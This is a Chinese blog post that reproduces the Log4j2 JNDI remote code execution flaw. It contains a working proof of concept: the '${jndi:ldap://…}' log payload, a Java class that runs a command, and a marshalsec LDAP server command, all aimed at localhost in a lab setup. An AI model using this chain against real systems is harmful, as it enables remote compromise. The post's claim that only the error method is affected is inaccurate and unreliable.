Apache Log4j2 远程代码执行漏洞案例

2021-12-11  本文已影响0人  何亮hook_8285

漏洞描述

1.Apache Log4j2 是一个基于Java的日志记录库。由于Log4j2内部实现JNDI(Java Naming and Directory Interface)协议,JNDI能动态扩展接口、类等信息。通过注入JNDI脚本到客户端就能访问到ladp服务端,ladp服务端下发类信息就能实现远程代码执行。

漏洞只对Log4j2中error方法生效。

漏洞复现环境要求

名称 版本 描述
Log4j2 2.14.1 依赖的Log4j2 jar文件
ladp 任意 ladp服务端
http-server 任意 迷路版http服务器
jdk >=1.6 jvm环境

相关环境下载

链接:https://pan.baidu.com/s/16hIvzvxSbuMQfqQNMEKb6Q 
提取码:bfb9

依赖漏洞包

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>

log4j2漏洞代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test2 {

    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        //错误日志中注入jndi协议
        logger.error("${jndi:ldap://127.0.0.1:1389/#ShellBug}");

    }
}

漏洞代码查看MessagePatternConverter类中的format方法,漏洞在114行开始。jndiManager类

漏洞脚本

ShellBug.java文件

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;

public class ShellBug {

    public ShellBug() throws Exception{
        //这里是执行命令,如果是Linux
        String cmd="calc";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());;
        printMessage(process.getErrorStream());
        int value=process.waitFor();
        System.out.println(value);
    }

    private static void printMessage(final InputStream input) {
        new Thread (new Runnable() {
            @Override
            public void run() {
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

启动LDAP服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#ShellBug

声明

本文章作为技术分享,如有违法乱纪由当事人承担后果,作者概不负责
上一篇下一篇

猜你喜欢

热点阅读